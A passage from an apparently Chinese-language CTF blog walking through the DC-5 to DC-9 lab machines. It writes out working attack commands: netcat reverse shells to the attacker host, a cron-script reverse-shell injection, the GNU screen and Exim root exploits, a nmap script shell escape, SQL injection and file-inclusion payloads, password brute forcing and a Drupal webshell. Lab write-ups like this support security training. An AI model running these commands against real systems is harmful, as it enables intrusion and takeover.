那我们直接用nc
命令反弹shell
2)nc命令反弹shell
先在kali
控制台执行nc
监听8888
端口
1 | nc -l -vv -p 8888 |
然后网页浏览
http://192.168.133.144/thankyou.php?file=/var/log/nginx/error.log&cmd=nc%20-nv%20192.168.133.140%208888%20-e%20/bin/bash
//
192.168.133.140
是虚拟机ip,不是靶机ip
返回控制台查看
进入shell
然后标准姿势,进入交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
*获得稳定的shell
【不会因为ctrl+c退出,而且可以按上下键,返回之前的命令】
先在shell,用
Ctrl-Z
将shell放到后台再
stty raw -echo && fg ; reset
nc -l -vv -p 8888
//这个不用输入,是自动执行后台的命令返回到前台//stty 设置终端端口设备的接口选项
//echo 表示回显,比如当-echo时,输入ls后按回车,仍然会看到ls
//fg把shell提到前台来
//reset表示重启终端,此时的终端为我们靶机的shell窗口,所以不容易被退出或者中断
成功获得全交互式shell
3.提权
拿到shell以后,我们权限明显是不够的,所以我们需要垂直提权,拿到最高权限
先看看存不存在suid
方式提权
1 | find / -perm -u=s -type f 2>/dev/null |
似乎没啥可以利用提权的点,但是有个
1 | /bin/screen-4.5.0 |
看起来有点陌生,我们百度/google
就要利用起来了
GNU Screen
是一款由GNU
计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen
可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
看来是属于suid当中的漏洞脚本提权,那脚本怎么找呢
1)searchsploit找提权脚本文件
我们可以使用searchsploit
搜索软件相关漏洞有没有可以利用的脚本,而且它的版本号也写出来了
发现有两个文件,一个sh脚本
文件,一个txt文本
的(POC)
看到有sh脚本
文件路径,先查看其内容是什么,看看能不能利用
发现是个c语言脚本
看来我们找的是正确的,我们分析一下该脚本文件,看看怎么利用其来提权
仔细看其实这里面有两个C语言脚本
【
EOF
为文结束符号】而且需要保存到两个c文件中去
libhax.c
rootshell.c
然后用gcc命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
对两个c文件进行编译,从而生成
libhax.so
rootshell
然后在把两个c文件和两个编译后生成的文件传入靶机后
在靶机shell挨个执行后面的命令,从而拿到root权限
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... /tmp/rootshell
上半部分
1 |
|
下半部分
1 |
|
==>
我们需要在靶机的/tmp目录下,传入
libhax.so
rootshell
flag.sh
//内容为后面的命令内容
这三个文件
我们先在自己的kali
机上把这两个文件准备好
我们也可以先到我们kali
机的/tmp
目录下
先执行
1 | cat << EOF > /tmp/libhax.c |
再执行
1 | cat << EOF > /tmp/rootshell.c |
【虽然会报错,但是是正常的,不影响编译后产生的文件的执行】
执行后
libhax.so rootshell
这两个文件就生成了
然后我们的flag.sh
1 | echo "[+] Now we create our /etc/ld.so.preload file..." |
2)nc向靶机传入脚本提权文件
当然如果你用蚁剑连接的shell的话,直接把文件拖进去就行,简单一点
如果用nc的话当然也不难
先是kali
机控制台【目前状态为/tmp
下】
nc -lvp 8888 < libhax.so
// < 表示传入
靶机shell
【必须在/tmp
目录下才能执行nc】
cd /tmp
nc 192.168.133.140 8888 > libhax.so
//>表示传出接收文件,192.168.133.140为kali机ip
看到传入成功
rootshell
和flag.sh
文件类似,不再展示
最后成功传入
3)执行脚本进行提权
传入完成后,给flag.sh
加上执行权限
1 | chmod +x flag.sh |
然后执行即可
1 | ./flag.sh |
*出现意外
不知道有没有朋友也遇到这种报错
最后一步执行rootshell
的时候,弹出这个命令,我搜索了一下,猜测是不是c语言脚本写错了,但是仔细检查并没有出错
然后我们看了看我们的kali
和靶机
的gcc版本
发现
kali机是:
11.3.0-1
靶机是:
4.9.2
但是编译器不同对结果应该没什么太大影响
但我还是试试能不能在靶机的shell
里执行gcc,运行两个c语言脚本文件,得到rootshell
和libhax.so
文件
但是又出现
原来是缺少环境变量,导致无法执行
给cc1
配置环境变量
1 | locate cc1 |
然后我们从简,直接在靶机shell
执行
1 | cat << EOF > /tmp/libhax.c |
1 | cat << EOF > /tmp/rootshell.c |
成功执行
关键来了【期待】
我们执行我们的flag.sh
脚本【这里是重复的flag.sh
,所以名字为flag.sh.1
】
终于解决问题后【卡了一天了】
终于成功提权
到/root
目录下
拿到flag
1
2
3
4
5
6
7
8 888b 888 d8b 888 888 888 888
8888b 888 Y8P 888 888 888 888
88888b 888 888 888 888 888
888Y88b 888 888 .d8888b .d88b. 888 888 888 .d88b. 888d888 888 888 888 888 888
888 Y88b888 888 d88P" d8P Y8b 888 888 888 d88""88b 888P" 888 .88P 888 888 888
888 Y88888 888 888 88888888 888 888 888 888 888 888 888888K Y8P Y8P Y8P
888 Y8888 888 Y88b. Y8b. Y88b 888 d88P Y88..88P 888 888 "88b " " "
888 Y888 888 "Y8888P "Y8888 "Y8888888P" "Y88P" 888 888 888 888 888 888
Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly
appreciated. :-)
I also want to send a big thanks to all those who find the vulnerabilities
and create the exploits that make these challenges possible.
翻译:
再次非常感谢所有完成这些小挑战的人,
尤其是所有给我反馈的人——再一次,这一切都很棒
赞赏。 :-)我还要非常感谢所有发现漏洞的人
并创造使这些挑战成为可能的漏洞。
吐血了,果然是中级,顺便提醒一下大家,非必要不要更新
一个旗子找完,游戏结束【吐血了】
六、DC-6[中级]
only one flag
信息收集
先抬手nmap
扫描一下
发现
22
端口:运行着ssh
【默认端口】80
端口:运行着http
【默认端口】
看来可能是需要ssh
连接拿shell
这个靶机好像需要配置hosts
文件,不然通过ip
是访问不了网站的
然后访问试试
好了【但是好像有点卡】
界面和DC2
一样【梦回DC2
,操作应该差不多】
习惯看看wappalyzer
看到CMS
是WordPress 5.1.1
想到可以利用一下这个版本的漏洞,拿到一些敏感信息
我们再看看网站上有没有可以利用的信息
about us
里似乎全是文本内容没啥提示
看到有个concact us
,可能有交互利用的地方
虽然看起来没有但是其实是有的
通过concact us
页面的url,在后面加上用户的名字就可以
http://xxx/admin
//当然其实并不太重要,不过可以试试看,能不能留言xss然后挟持管理员账户,不过这并不是实际情况,所以可以自己留言,然后登录看看
1.wpscan爆破出用户名【dc2里搞过】
看到wordpress
先用wpscan
搞一下
1 | wpscan --url wordy -e u |
得到用户名
admin
mark
graham
sarah
jens
我们创建一个user.txt
哪在哪里登录呢?我们在开始页面并没有看到登录窗口
我们用dirb
扫一下
1 | dirb http://wordy |
1 | http://wordy/wp-admin/ |
2.wpscan爆破密码
我们再找一个密码表,这里用和DC2
cewl
命令爬一下网站,看看能不能利用其中有没有密码
1 | cewl wordy > pass.txt |
然后就得到一个密码【擦,难道和dc2
一样的】
然后我们开始进行爆破登录【注意需要root
权限】
1 | wpscan --url wordy --usernames user.txt --passwords pass.txt |
结果肯定是不行的【肯定不和DC2
一样】
==>
所以这里我们需要找一个完整的密码字典
需要用到
wordpress
的密码字典,kali自带rockyou.txt
由作者提示得【也就是把密码一部分告诉你了】
wpscan --url http://wordy --usernames user.txt --passwords /usr/share/wordlists/rockyou.txt|grep k01 -t 5
//-t是添加线程数,默认是5,多加几个可以更快一些
如果直接跑的有点久了
。。。。。。。【睡了一晚上,不知道好久跑出来的】
【七千万密码】
最后得到
username:
mark
password:helpdesk01
虽然只有一个用户但是够了
3.登录网站找信息
登录后发现是一个wordpress
的后台网站
在左侧我们发现了一个新的东西叫做
Activity monitor
是一款网站用户活动监控插件,我们用户登录的ip和其他信息都会被监控
//那么我们是不是可以试试找找这个插件有没有漏洞,从而通过这个漏洞拿到shell或者其他更高权限用户的信息
我们查一下
1 | searchsploit activity monitor |
发现果然是有的,只是不知道能不能利用
我们主要找后面两个和wordpress
相关的
45274.html
是命令注入50110.py
是远程命令执行
1)50110.py【有问题,不建议用】
感觉py
更方便一些,我们先查看内容
1 | cat /usr/share/exploitdb/exploits/php/webapps/50110.py |
看来只需要ip
,以及用户名
和密码
即可进入shell
我们运行一下
1 | python /usr/share/exploitdb/exploits/php/webapps/50110.py |
然后我按我的输入
192.168.133.145
mark
helpdesk01
进入shell
然后固定姿势,进入交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
但是会报错
似乎不能使用python
命令,一使用就退出shell
那就看起来有点难受了,再试试能不能进入稳定shell
先
ctrl+z
然后执行stty raw -echo ; fg ; reset
结果卡死了
算了算了,就这样看吧
【我这里把py
脚本导入一个新的文件里(1.py
),把我的ip,用户名,密码都写了进去,就不用退出了又重新输入了】
先退到主目录看看有几个用户
但是发现好像有点问题,似乎有的命令执行就和脚本冲突,那就用
2)45274.html
那我们先不管它,我们还有一个命令注入的没有用,
我们先查看一下内容
1 | cat /usr/share/exploitdb/exploits/php/webapps/45274.html |
我们把这个文件导入一个新文件中【1.html】
主要是修改这里的网站网址和监听本地ip
,改成我们的wordy
和kali
机的ip
1 | http://localhost:8000/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools |
1 | nc -nlvp 127.0.0.1 ==> nc 192.168.133.140 |
然后因为是html
文件,我们可以直接用浏览器打开,
当然也可以
1 | python -m http.server 8008 |
然后以浏览器方式访问本地ip:8008
,再打开里面1.html
文件
nc监听拿shell
然后我们发现有个
Submit request
的按钮,看来是发送请求,然后nc
反弹shell
注意监听端口是
9999
然后我们在浏览器点击一下Submit request
连接到 shell
这个比脚本的那个就更加方便一下了,
固定姿势
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
然后进入稳定式shell
先
ctrl+z
然后执行stty raw -echo ; fg ; reset
然后开始找找有没有其他用户的密码信息
先到 /home
里查看一下,发现了除了admin
其他三个用户目录
我们先进我们登录成功的mark
目录查看
发现有个things-to-do.txt
文本文件
查看内容
1 | cat things-to-do.txt |
Things to do:
Restore full functionality for the hyperdrive (need to speak to Jens)
Buy present for Sarah's farewell party
Add new user: graham - GSo7isUM1D4 - done
Apply for the OSCP course
Buy new laptop for Sarah's replacement
意思是:
要做的事情:
- 恢复超光速引擎的全部功能(需要与 Jens 交谈)
- 为莎拉的告别派对购买礼物
- 添加新用户:graham - GSo7isUM1D4 - 完成
- 申请OSCP课程
- 为莎拉购买新的笔记本电脑
//关键信息我们得到了graham用户的密码【我也想考OSCP,哭唧唧】
我们根据我们拿到graham
的信息,登录ssh
【当然在原有shell
里利用su
命令切换用户graham
也是可以的,但是ssh
有颜色,看起来好看一些】
【因为之前就看到运行着ssh
,没必要再在登录一次网站,反正不是最高权限】
ssh graham@192.168.133.145 -p 22
//靶机ip ssh运行端口
密码:GSo7isUM1D4
然后我们看看我们有哪些命令可以执行
1 | sudo -l |
看到是有jens
目录下一个脚本文件的运行权限,而且不需要jens
的密码,就可以他的身份下运行了【mark
我试了的,没有权限】
以其他用户身份运行脚本,实现切换用户
我们先查看一下内容
1 | cat /home/jens/backups.sh |
发现是执行一些命令,
但是我们的目的想获得jens
的登录权限,我们在脚本文件中追加一些命令
1 | echo "/bin/bash" >> /home/jens/backups.sh |
这样的话当我们以jens
身份运行这个脚本时,当执行/bin/bash
时,就算我们现在是graham
,也会切换成jens
,这也得益于可以nopasswd
运行
sudo -u jens /home/jens/backups.sh
//注意哦,这里是需要以
jens
身份运行【毕竟他给了我们用他身份执行权限】才可以实现切换用户,如果直接运行还是graham
用户,就如下图一样
切换用户成功,
我们先看看jens
有哪些命令可以执行
1 | sudo -l |
终于,发现了root
的,我们可以执行nmap
命令【只有管理员可以】,那么如何拿到权限呢
4.nmap提权
1.旧版
nmap(2.02-5.21)存在交换模式,可利用提权
1 | nmap --interactive |
之后执行:
1 | nmap> !sh |
msf中的模块为:
1 | exploit/unix/local/setuid_nmap |
2.新版
较新版可使用 --script
参数:
先写入一条命令
echo "os.execute('/bin/sh')" > getshell
再–script参数,执行sudo nmap --script=getshell
查看一下靶机的nmap
版本
7.4
还是挺高的
那我们写一个脚本,里面加上命令,再用新版nmap
运行这个脚本
1 | echo "os.execute('/bin/sh')" > getshell |
注意哈,
jens
只有在~
目录下才可以执行echo
命令,不然是不可以的
1 | sudo nmap --script=getshell |
成功提权,然后我们查找flag
【没输入回显有点小难受,但是不影响拿flag
】
1
2
3
4 Yb dP 888888 88 88 8888b. dP"Yb 88b 88 888888 d8b
Yb db dP 88__ 88 88 8I Yb dP Yb 88Yb88 88__ Y8P
YbdPYbdP 88"" 88 .o 88 .o 8I dY Yb dP 88 Y88 88"" `"'
YP YP 888888 88ood8 88ood8 8888Y" YbodP 88 Y8 888888 (8)
Congratulations!!!
Hope you enjoyed DC-6. Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.
If you enjoyed this CTF, send me a tweet via @DCAU7.
意思是:
恭喜!!!希望你喜欢 DC-6。只是想向所有这些人表示衷心的感谢
谁提供了反馈,谁花时间完成了这些小事
挑战。如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文。
一个旗子找完,游戏结束
七、DC-7[中级]
only one flag
hint:
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
虽然这是较早的 DC 版本的一种合乎逻辑的进展(我不会告诉你是哪一个),但其中涉及到一些新概念,但你需要自己弄清楚这些。:-) 如果您需要使用暴力破解或字典攻击,您可能不会成功。
您需要做的是跳出框框思考。
Waaaaaay“在盒子外面”。:-)
信息收集
nmap
扫描查看开放端口
发现运行着22
和80
端口,22
端口运行着ssh
先看看框架和语言
CMS
是Drupal 8
,看来这是关键【好家伙,DC1
重现】
再顺手扫一下
看到有一个登录窗口页面
那我们就先想办法怎么获得一个用户的账号密码
1.跳出框架
这里我开始以为是思维的框架,结果是靶机的框架,我们需要用搜素工具,得到我们的信息,而不是死脑筋在靶机上苦苦找漏洞或者蛮用爆破
在实际的环境中,我们也是这样的,在网站之外获得网站的信息,这也是收集信息的一个重要的办法
在网站的最底下我们发现了
1 | 7USER |
这应该是网站的搭建者,对于像这种小网站,一般可能是在一些平台,比如github
上搭建、挂载的【比如我的博客】,所以在这些平台上,我们很有可能得到一些我们想要的敏感信息和文件
所以我们用bing
查一下【国内搜索引擎很难搜到,谷歌要魔法,我写这DC7
这几天不方便魔法,所以bing
最好】
还真找到了
1 | https://github.com/Dc7User/staffdb/blob/master/config.php |
1 | | <?php | | |
得到账号和密码,以及数据库的名字,看来我们确实跳出了框架
我们利用账号密码在我们之前的网站登录一下试试
$username = “
dc7user
“;
$password = “MdR3xOgB7#dW
“;
结果报错,看来这个账号并不是在这个页面登录的
2.ssh登录
我们根据之前得到的信息知道,22
端口运行着ssh
,我们用其登录试试
$username = “
dc7user
“;
$password = “MdR3xOgB7#dW
“;
好家伙,果然是ssh
的账号密码
我们来找找有没有什么有用的东西
1 | ls |
我们先打开backups
文件夹
发现是两个.gpg
文件
gpg
文件
就是一个加密文件
而我们现在没有信息和密码,所以我们再看看另一个文件
返回上级目录
cat mbox
发现是root
用户命令执行的记录
发现了
Database dump saved to /home/dc7user/backups/website.sql
//数据库信息存入website.sql文件
//然后root执行了加密脚本加密数据库文件
*定时任务【cron(crond)】
我们发现在root
用户执行加密脚本之前有一个Cron
Cron
发现是定时任务,代表过一段时间就执行一次,以来更新数据库备份文件【backups
】这是个定时任务 用
root
运行/opt/scripts/backups.sh
*关键思路
查看下权限什么的,发现www-data
拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。
但是如果我们获得了www-data
的shell
那就可以写点东西进去,然后依靠计划任务,用root
去运行,然后反弹shell
,那么我们可以获得了root
权限的shell
了。
3.drush
命令对drupal
修改用户名和密码
我们按路径查看该脚本内容
我们发现果然是个加密数据库文件的脚本,但是我们仍然不知道密码
但是我们发现了数据库文件似乎被更改过
出现了一个新的命令
drush
//drush命令是在drupal框架中进行配置的命令,可以修改用户名和密码,
//但是drush必须在drupal安装目录下进行,所以我们可以按脚本给的cd /var/www/html/
cd /var/www/html
drush user-password admin:123456
//用户名admin
和密码123456
然后成功修改用户admin
的密码为123456
4.登录网站
当我们输入我们修改后的密码后,成功登录admin
用户
然后我们统合一下思路,我们进入了网站后,应该如何拿到shell
,那肯定需要写木马或者反弹shell
那么我们就需要找到可以修改并增加php
文件的的地方
我们先打开content
页面,发现有开始.html
页面
点开查看
发现可以修改内容,看来我们可以试试修改它,变成我们的木马文件
结果发现文件只能以html
形式执行,而不能以php
形式执行
添加php执行插件
drupal
框架可以添加php
文件插件,从而能修改为php
文件
点击
1 | install new module |
在url
里填写
1 | https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz |
然后install
但是我这里显示无法连接网站,那我们直接上传插件文件也是可以的
然后添加成功
然后在FILTERS
处
启动插件【勾选】
最后记得还要install
然后我们的文件就可以以php
文件形式执行了
加入一句话木马
【记住Text foromat
要改成PHP code
】
然后保存即可
5.蚁剑连接getshell
因为我们是在welcome
页面里插入一句话木马,所以直接连接靶机ip就行
1 | 192.168.133.146 |
连接成功
启动虚拟终端
getshell
6.反弹shell拿www-data
我们先开始监听9999
端口
1 | nc -lvvp 9999 |
我们在蚁剑的shell
上
开始反弹shell
1 | nc -e /bin/bash 192.168.133.140 9999 |
然后拿到反弹shell
进入交互式shell
1 | python -c "import pty;pty.spawn('/bin/bash')" |
7.利用定时任务【cron】提权root
我们向 backups.sh
写入反弹shell
命令
1 | echo "nc 192.168.133.140 12345 -e /bin/bash" >> /opt/scripts/backups.sh |
然后我们再开一个控制台开始监听12345
端口
然后我们等待定时任务执行,便可以拿到shell
【时间有点久】
连接成功后,到root
目录查看flag
1
2
3
4
5
6
7
8 888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Congratulations!!!
Hope you enjoyed DC-7. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.
I'm sending out an especially big thanks to:
@4nqr34z
@D4mianWayne
@0xmzfr
@theart42
If you enjoyed this CTF, send me a tweet via @DCAU7.
意思是:
恭喜!!!希望你喜欢 DC-7。只是想向所有这些人表示衷心的感谢
提供反馈的人,以及所有花时间完成这些小事的人
挑战。我要特别感谢:
@4nqr34z
@D4mianWayne
@0xmzfr
@心42如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文
一个旗子找完,游戏结束
八、DC8[初级]
only one flag
hint:
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
意思是:
这个挑战有点混合实际挑战和“概念证明”,即在 Linux 上安装和配置的双因素身份验证是否可以防止 Linux 服务器被利用。这个挑战的“概念证明”部分最终是由于 Twitter 上关于双因素身份验证和 Linux 的问题,以及@theart42 的建议。
此挑战的最终目标是绕过双重身份验证,获取 root 权限并读取唯一标志。
除非您尝试通过 SSH 登录,否则您可能甚至不知道已安装和配置了双因素身份验证,但它肯定存在并且可以正常工作。
信息收集
先nmap
扫一下
发现
22
端口
运行着ssh
80端口下
发现有个include
页面,可能需要在这里上传木马拿shell
然后有install.mysql.txt
,看来可能需要用到数据库
再dirsearch
扫一下
发现有
/user/login
页面,猜测是登录后台的页面
后面找找有没有账号密码信息
再看看wapplzer
1.sql注入
然后分析网站页面
发现在details
时,url
出现
1 | http://192.168.133.147/?nid=1 |
看到注入处,再结合之前的nmap
扫描的结果,有mysql
安装,猜测可能存在sql
注入
试试sql
注入有没有反应
1 | 192.168.133.147/?nid=-1 union select schema_name from information_schema.schemata--+ |
看来确实是存在sql
注入
手动注不难,完全没有过滤,但还是用sqlmap
直接梭哈
数据库知道了
先看看表
看到有个users
列,查看有没有我们需要的后台登录的账号密码
发现有两个用户
1 | admin $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
但是密码是加密的,我们用john
爆破一下
先把密码写入密码文本pass.txt
然后就用john
自带的密码本就行
1 | john pass.txt |
但是再这里我用了johny
一个图形化的爆破工具
这里只得到john
用户的密码
1 | turtle |
2.后台添加木马
拿到账号密码后,我们到后台登录页面进行登录
1 | http://192.168.133.147/user/login |
登录成功,根据之前我们信息收集,在nmap
得到的信息,我们需要找到上传木马或者修改文件内容的地方
在右上角我们看到有个content
打开看看里面是不是可以修改
结果发现Contact Us
页面文件可以进行修改
打开看看,发现在edit
没有修改的地方
于是找了找网站源码在
这里可以修改,于是我们就修改一下
并记得把编码文件格式改为PHP code
1 | <p>Thanks for taking the time to contact us. We shall be in contact soon.</p> |
3.反弹shell
然后我们开始监听
1 | nc -lvnp 8888 |
访问Contact Us
页面发送信息,从而触发php执行命令
拿到shell
4.提权【exim4】
先进入交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
先查看一下suid
命令
1 | find / -perm -u=s -type f 2>/dev/null |
找到了个新的命令exim4
,搜了一下
exim4
exim
远程命令执行漏洞分析(cve-2019-10149
)在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的Exim存在一个远程命令执行(RCE)漏洞。这里RCE指的是远程命令执行(Remote Command Execution),而不是远程代码执行(Remote Code Execution):
攻击者可以以root权限使用execv()来执行任意命令,利用过程中不涉及到内存破坏或者ROP(Return-Oriented Programming)相关内容。
这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。
从4.87版开始(2016年4月6日公布),由于#ifdef EXPERIMENTAL_EVENT改成了#ifndef DISABLE_EVENT,因此Exim默认情况下就存在漏洞。在之前的版本中,如果手动启用了EXPERIMENTAL_EVENT选项,那么服务器也会存在漏洞。令人惊讶的是,这个漏洞已经在4.92版中被修复(2019年2月10日):
根据文档,发现是个和邮件服务有关的命令,并且存在命令执行漏洞
我们先查看一下其版本是否在这个nday
的范围里
发现刚好是这个版本范围,是存在RCE
查看一下有没有利用的脚本
1 | Privilege:特权 |
选择46996.sh
,我们查看一下脚本文件内容
1 | searchsploit 46996 -p |
发现有两个使用方法,一个setuid
,一个netcat
主要是上传到靶机shell
后,执行命令不同
1 | ./raptor_exim_wiz -m setuid |
我们先把脚本文件复制下来
再上传到靶机shell
kali
主机执行
1 | nc -lvp 9999 < raptor_exim_wiz |
靶机shell
中执行
1 | nc 192.168.133.140 9999 > raptor_exim_wiz |
发现权限不够,看来是不能在这个页面新建文件
我们到/tmp
目录下一般可以
下载成功
执行提权
1 | ./raptor_exim_wiz -m setuid |
发现无执行权限,我们修改一下
1 | chmod 777 raptor_exim_wiz |
成功执行脚本
意外
但结果发现还是
低权限账号
于是我们再执行
1 | ./raptor_exim_wiz -m netcat |
结果还是一样
而且提醒在靶机的31337
端口连接关闭了
看了看其他大佬的wp
发现有一步【其实是没必要的】
在脚本文件里执行
说是因为这个脚本是windows
底下编写的,所以需要修改一下,改成Linux
set ff=unix
结果还是一样,看来是靶机有问题了,猜测是靶机和kali
主机之间连接有问题,我换手机热点试试
成功【校园网真垃圾】
到根目录查看flag
得到flag
1
2
3
4
5
6
7
8 888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
Hope you enjoyed DC-8. Just wanted to send a big thanks out there to all those
who have provided feedback, and all those who have taken the time to complete these little
challenges.
I'm also sending out an especially big thanks to:
@4nqr34z
@D4mianWayne
@0xmzfr
@theart42
This challenge was largely based on two things:
A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile.
A suggestion from @theart42
The answer to that question is...
If you enjoyed this CTF, send me a tweet via @DCAU7.
意思是:
希望你喜欢 DC-8。只是想向所有这些人表示衷心的感谢
提供反馈的人,以及所有花时间完成这些小事的人
挑战。我还要特别感谢:
@4nqr34z
@D4mianWayne
@0xmzfr
@心42这一挑战主要基于两件事:
- 我从有人询问关于 Linux 机器上的 2FA 以及它是否值得的一条推文。
- 来自@theart42 的建议
这个问题的答案是……
如果你喜欢这个 CTF,请通过@DCAU7 给我发一条推文。
【注意,这个提权不稳定,所以需要快点拿取flag
,或者按我之前写的方法进入稳定shell
】
p.s. setuid
我再试试另外一个命令试试
1 | ./raptor_exim_wiz -m setuid |
发现还是一样
查了一下
setuid
setuid
是类unix系统提供的一个标志位, 其实际意义是set一个process的euid为这个可执行文件或程序的拥有者(比如root)的uid, 也就是说当setuid位被设置之后, 当文件或程序(统称为executable)被执行时, 操作系统会赋予文件所有者的权限, 因为其euid是文件所有者的uid.
而且我们执行完发现生成了两个pwn
文件【狂喜,最近正好在学习pwn
】
查了一下setuid
在pwn
中的利用
在pwn中
什么是setuid?
setuid
代表设置用户身份,并且setuid
设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配
这么说起来有点绕,我们来举一个例子
一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了
演示
我们用user
用户运行一个vim
然后新开一个窗口查看后台进程
1 | ps -aux |
这里可以看到,我们的vim
正在以user
的权限运行中,然后我们去执行一下setuid
文件看看
这里可以看到,我们虽然是user
用户,但执行文件后,文件正以root
权限运行
我们查看文件的权限
r
代表读,w
代表写,x
代表执行,那s
是什么呢
s
替换了以x
的可执行文件,这被称为setuid
位,根据刚刚的操作,应该知道了s
是做什么的
当这个位被user
权限的用户执行时,linux
实际上是以文件的创造者的权限运行的,在这种情况下,它是以root
权限运行的
我们的目标就是,破解(pwn)这些文件然后拿到root
权限读取flag
这也就是这个命令执行的目的
1 | ./raptor_exim_wiz -m setuid |
简而言之,其实就是
suid
提权但这里可能是因为靶机的原因无法执行提权成功
总而言之,这一关只是在DC2
上修改了一点,只要把前面几关做了,这关难度并不大
【
难受的是遇到pwn
,虽然在这里并没有什么用,但是如果遇到这类二进制文件如何修改才能让其成为我们提权的工具,
而且现在二进制还啥也不会,继续学习吧
】
一个旗子找完,游戏结束【吐血了】
九、DC9[中级]
only one flag
(dc最后一关)建议可以自己想办法做一下,如果之前是靠别人wp来提供思路的话
信息收集
先用nmap
扫一下
结果发现只有80
端口是打开的
而且也没有什么敏感的信息
然后再dirsearch
扫一下
结果没有什么有价值的东西
在wappalyzer
里也看不出什么信息,CMS
也没显示
1.sql注入
啥也没有信息,但是在display all records
下
我们看到一大串枚举数据,很熟悉,这和sql
注入感觉有很大的关系
找了一下发现url
并没有sql
注入的方式,那就可能是输入框进行sql
注入了
根据枚举的数据,猜测是在search
下
我们直接抓包数据,拿sqlmap
梭哈
好家伙真的是sql
注入
后面不赘述,找到并查看users
数据库中用户信息
好家伙,完全没有对密码加密
但是根据登录页面,是需要管理员账号的,再根据staff
,看来我是找错表了
于是按上面一样步骤,查看Staff
数据库里的信息
果然在这里
transorbital1
我开始以为是啥密钥,结果是密码明文,麻了当然时间充足的兄弟可以hashcat试试【坏笑】
成功登录
2.文件包含
发现多了两个选项是,一个是增加用户,另一个是登出账号
但是我突然发现
底下莫名多了一行字
1 | File does not exist |
???
哪里来的file
,看来是进行了读取文件操作,但是文件参数不存在
猜测可能存在文件包含漏洞
于是我们在url
后加上?file=
进行文件包含
http://192.168.133.149/manage.php?file=../../../../../etc/passwd
返回到根目录下,包含/etc目录下的passwd文件
但这里并没有我们想要的信息,
3.ssh
1) knockd
在1920年代,当禁令如火如荼地进行时,如果您想进入说话状态,就必须知道秘密的敲门声,并正确地敲打它才能进入内部。
端口敲门是现代的等同物。 如果您希望人们可以访问您计算机上的服务,但又不想将防火墙打开到
Internet,则可以使用端口断开功能。
它允许您关闭防火墙上允许传入连接的端口,并在进行预先安排的连接尝试
方式时自动打开它们。 连接尝试的顺序充当秘密敲门。 另一个秘密的敲门声关闭了港口。
我在学习笔记写有其原理,可以看看,我不在这里赘述
先查看敲门顺序
http://192.168.133.149/manage.php?file=../../../../../etc/knockd.conf
发现是
1 | 7469,8475,9842 |
敲一下
1 | knock 192.168.133.149 7469 8475 9842 |
然后再用nmap
扫一下,发现22
端口开了
2) hydra
然后我们用九头蛇爆破登录一下ssh
至于账户密码就用我们之前sql
注入得到的第一个的数据
username:
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
